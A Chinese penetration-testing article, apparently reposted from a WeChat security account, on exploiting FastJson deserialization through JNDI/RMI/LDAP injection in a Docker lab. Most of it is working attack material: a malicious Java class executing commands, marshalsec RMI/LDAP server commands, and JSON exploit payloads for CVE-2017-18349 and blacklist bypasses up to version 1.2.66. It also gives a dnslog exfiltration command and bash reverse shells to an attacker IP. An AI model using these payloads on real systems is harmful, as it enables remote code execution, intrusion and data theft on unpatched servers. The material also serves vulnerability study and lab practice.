FastJson渗透测试

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所属分类:安全文章

1.FastJson 简介

fastjson.jar包原始下载地址:

https://github.com/alibaba/fastjson

fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。fastjson.jar是阿里开发的一款专门用于Java开发的包,可以方便的实现json对象与JavaBean对象的转换,实现JavaBean对象与json字符串的转换,实现json对象与json字符串的转换。除了这个fastjson以外,还有Google开发的Gson包,其他形式的如net.sf.json包,都可以实现json的转换。方法名称不同而已,最后的实现结果都是一样的。


将json字符串转化为json对象在net.sf.json中是这么做的JSONObject obj = new JSONObject().fromObject(jsonStr);//将json字符串转换为json对象在fastjson中是这么做的JSONObject obj=JSON.parseObject(jsonStr);//将json字符串转换为json对象


1.1 JNDI

JNDI是 Java 命名与目录接口(Java Naming and Directory Interface),在J2EE规范中是重要的规范之一。JNDI提供统一的客户端API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI再局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。


JNDi是应用程序设计的Api,JNDI可以根据名字动态加载数据,支持的服务主要有以下几种:
DNS、LDAP、CORBA对象服务、RMI

1.2 利用JNDI References进行注入

对于这个知识点,我们需要先了解RMI的作用。

首先RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。RMI依赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。在RMI中对象是通过序列化方式进行编码传输的。RMI服务端可以直接绑定远程调用的对象以外,还可通过References类来绑定一个外部的远程对象,当RMI绑定了References之后,首先会利用Referenceable.getReference()获取绑定对象的引用,并在目录中保存,当客户端使用lookup获取对应名字时,会返回ReferenceWrapper类的代理文件,然后会调用getReference()获取Reference类,最终通过factory类将Reference转换为具体的对象实例。


服务端

import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIServer { public static void main(String args[]) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); // Reference需要传入三个参数(className,factory,factoryLocation) // 第一个参数随意填写即可,第二个参数填写我们http服务下的类名,第三个参数填写我们的远程地址 Reference refObj = new Reference("Evil", "EvilObject", "http://127.0.0.1:8000/"); // ReferenceWrapper包裹Reference类,使其能够通过RMI进行远程访问 ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj); registry.bind("refObj", refObjWrapper); }}


从ReferenceWrapper源码可以看出,该类继承自UnicastRemoteObject,实现对Reference的包裹,使其能够通过RMI进行远程访问

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客户端
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIClient {
public static void main(String[] args) throws Exception{
try {
Context ctx = new InitialContext();
ctx.lookup("rmi://localhost:8000/refObj");
}
catch (NamingException e) {
e.printStackTrace();
}
}
}


如果我们可以控制JNDI客户端中传入的url,就可以起一个恶意的RMI,让JNDI来加载我们的恶意类从而进行命令执行。
我们来看一下References,References类有两个属性,className和codebase url,className就是远程引用的类名,codebase决定了我们远程类的位置,当本地classpath中没有找到对应的类的时候,就会去请求codebase地址下的类(codebase支持http协议),此时如果我们将codebase地址下的类换成我们的恶意类,就能让客户端执行。
ps:在java版本大于1.8u191之后版本存在trustCodebaseURL的限制,只能信任已有的codebase地址,不再能够从指定codebase中下载字节码。

整个利用流程如下
1.首先开启HTTP服务器,并将我们的恶意类放在目录下2.开启恶意RMI服务器3.攻击者控制url参数为上一步开启的恶意RMI服务器地址4.恶意RMI服务器返回ReferenceWrapper类5.目标(JNDI_Client)在执行lookup操作的时候,在decodeObject中将ReferenceWrapper变成Reference类,然后远程加载并实例化我们的Factory类(即远程加载我们HTTP服务器上的恶意类),在实例化时触发静态代码片段中的恶意代码

2.FastJson渗透总结

1.反序列化常用的两种利用方式,一种是基于rmi,一种是基于ldap。2.RMI是一种行为,指的是Java远程方法调用。3.JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。4.ldap指轻量级目录服务协议。
存在Java版本限制:
基于rmi的利用方式:适用jdk版本:JDK 6u132,JDK 7u131,JDK 8u121之前;在jdk8u122的时候,加了反序列化白名单的机制,关闭了rmi远程加载代码。基于ldap的利用方式,适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载。可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。


2.1 fastjson 1.2.24反序列化导致任意命令执行漏洞(CVE-2017-18349)


漏洞原理

FastJson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。


通俗理解就是:漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大影响。


影响版本

Fastjson < 1.2.25


漏洞启动

靶机:Ubuntu ip:192.168.9.234        攻击机:kali ip:192.168.10.65

开启fastjson漏洞


docker-compose up -ddocker ps


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访问靶机,可以看见json格式的输出:


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因为是Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令。

在kali上执行下面这条命令,使用 curl命令模拟json格式的POST请求,返回json格式的请求结果,没报404,正常情况下说明存在该漏洞。
curl http://192.168.9.234:8090/ -H "Content-Type: application/json" --data '{"name":"zcc", "age":18}'


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kali安装Javac环境,这里我已经安装好了
cd /optcurl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gztar zxvf jdk-8u20-linux-x64.tar.gzrm -rf /usr/bin/java*ln -s /opt/jdk1.8.0_20/bin/j* /usr/binjavac -versionjava -version


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编译恶意类代码
import java.lang.Runtime;import java.lang.Process;public class zcc{ static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/zcctest"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } }}


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javac zcc.java


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搭建http服务传输恶意文件

python -m SimpleHTTPServer 80


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编译并开启RMI服务:

>1 下载marshalsec(我这里已经安装好):

git clone https://github.com/mbechler/marshalsec.git


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>2 然后安装maven:

apt-get install maven


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>3 然后使用maven编译marshalsec成jar包,我们先进入下载的marshalsec文件中运行:
mvn clean package -DskipTests


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>4 然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定远程加载类TouchFile.class,这里的ip为你上面开启http服务的ip,我们这里就是kali的ip:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.10.65/#zcc" 9999

这里如果要启动LDAP服务的话,只需把上面命令中的RMI改成LDAP即可,例如:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.10.65/#zcc" 9999


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可以看见请求成功,并加载了恶意类。

>5 使用BP抓包,并写入poc(记住请求包里面请求方式改成post,Content-Type改成application/json):

{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.10.65:9999/zcc", "autoCommit":true }}

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可以看见成功写入。

这里我们用dnslog做一个小测试:

http://www.dnslog.cn/


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直接覆盖原来得文件;

"/bin/sh","-c","ping user.'whoami'.jeejay.dnslog.cn"

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点击send发送之后成功回显


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反弹shell的话也只需修改恶意类中commands的内容即可,代码参考如下,建议用第二个,第二个前面带主机名,看起来舒服点,我这里用的第一个;
"/bin/bash","-c","exec 5<>/dev/tcp/192.168.10.65/8899;cat <&5 | while read line; do $line 2>&5 >&5; done"或者"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.10.65/1234 0>&1"

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2.2 Fastjson 1.2.47远程命令执行漏洞

漏洞原理

Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。


影响版本

Fastjson < 1.2.47

漏洞启动

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因为目标环境是openjdk:8u102,
这个版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以利用RMI进行命令执行。

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// javac TouchFile.javaimport java.lang.Runtime;import java.lang.Process;public class zcc { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/zcctest111"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } }}


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开启http服务

python -m SimpleHTTPServer 8080

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借助marshalsec项目启动RMI服务器,监听9998端口,并制定加载远程类zcc.class:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.10.65/#zcc" 9999


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发送payload,别忘了改Content-Type: application/json,可以看见成功写入,反弹shell的手段和上面1.2.24的一样:

{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.10.65:9999/zcc", "autoCommit":true }}

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反弹shell;

"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.10.65/8899 0>&1"

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2.3 fastjson<=1.2.41漏洞详情

第一个Fastjson反序列化漏洞爆出后,阿里在1.2.25版本设置了autoTypeSupport属性默认为false,并且增加了checkAutoType()函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的Fastjson反序列化漏洞都是针对黑名单绕过来实现攻击利用的目的的。com.sun.rowset.jdbcRowSetlmpl在1.2.25版本被加入了黑名单,fastjson有个判断条件判断类名是否以"L"开头、以";"结尾,是的话就提取出其中的类名在加载进来,因此在原类名头部加L,尾部加;即可绕过黑名单的同时加载类。


exp:
{             "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",  "dataSourceName":"rmi://x.x.x.x:9999/rce_1_2_24_exploit",  "autoCommit":true}

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false


2.4 fastjson<=1.2.42漏洞详情

fastjson在1.2.42版本新增了校验机制。如果输入类名的开头和结尾是L和;就将头尾去掉再进行黑名单校验。绕过方法:在类名外部嵌套两层L和;。
原类名:com.sun.rowset.JdbcRowSetImpl绕过:LLcom.sun.rowset.JdbcRowSetImpl;;
exp:
{             "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",  "dataSourceName":"rmi://x.x.x.x:9999/exp",  "autoCommit":true}
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)


2.5 fastjson<=1.2.45漏洞详情

前提条件:目标服务器存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。

使用黑名单绕过,org.apache.ibatis.datasource在1.2.46版本被加入了黑名单。

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)


exp:

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}


2.6 fastjson<=1.2.47漏洞详情

对版本小于1.2.48的版本通杀,autoType为关闭状态也可用。loadClass中默认cache为true,利用分2步,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.jdbcRowSetlmpl这个类,绕过了黑名单机制。


exp:
{ "a": { "@type": "java.lang.Class",  "val": "com.sun.rowset.JdbcRowSetImpl" },  "b": { "@type": "com.sun.rowset.JdbcRowSetImpl",  "dataSourceName": "rmi://x.x.x.x:9999/exp",  "autoCommit": true }}


2.7 fastjson<=1.2.62漏洞详情

基于黑名单绕过exp:

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://x.x.x.x:9999/exploit"}";


2.8 fastjson<=1.2.66漏洞详情

也是基于黑名单绕过,autoTypeSupport属性为true才能使用,(fastjson>=1.2.25默认为false)以下是几个exp:


{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}

本文始发于微信公众号(黑白天实验室):FastJson渗透测试

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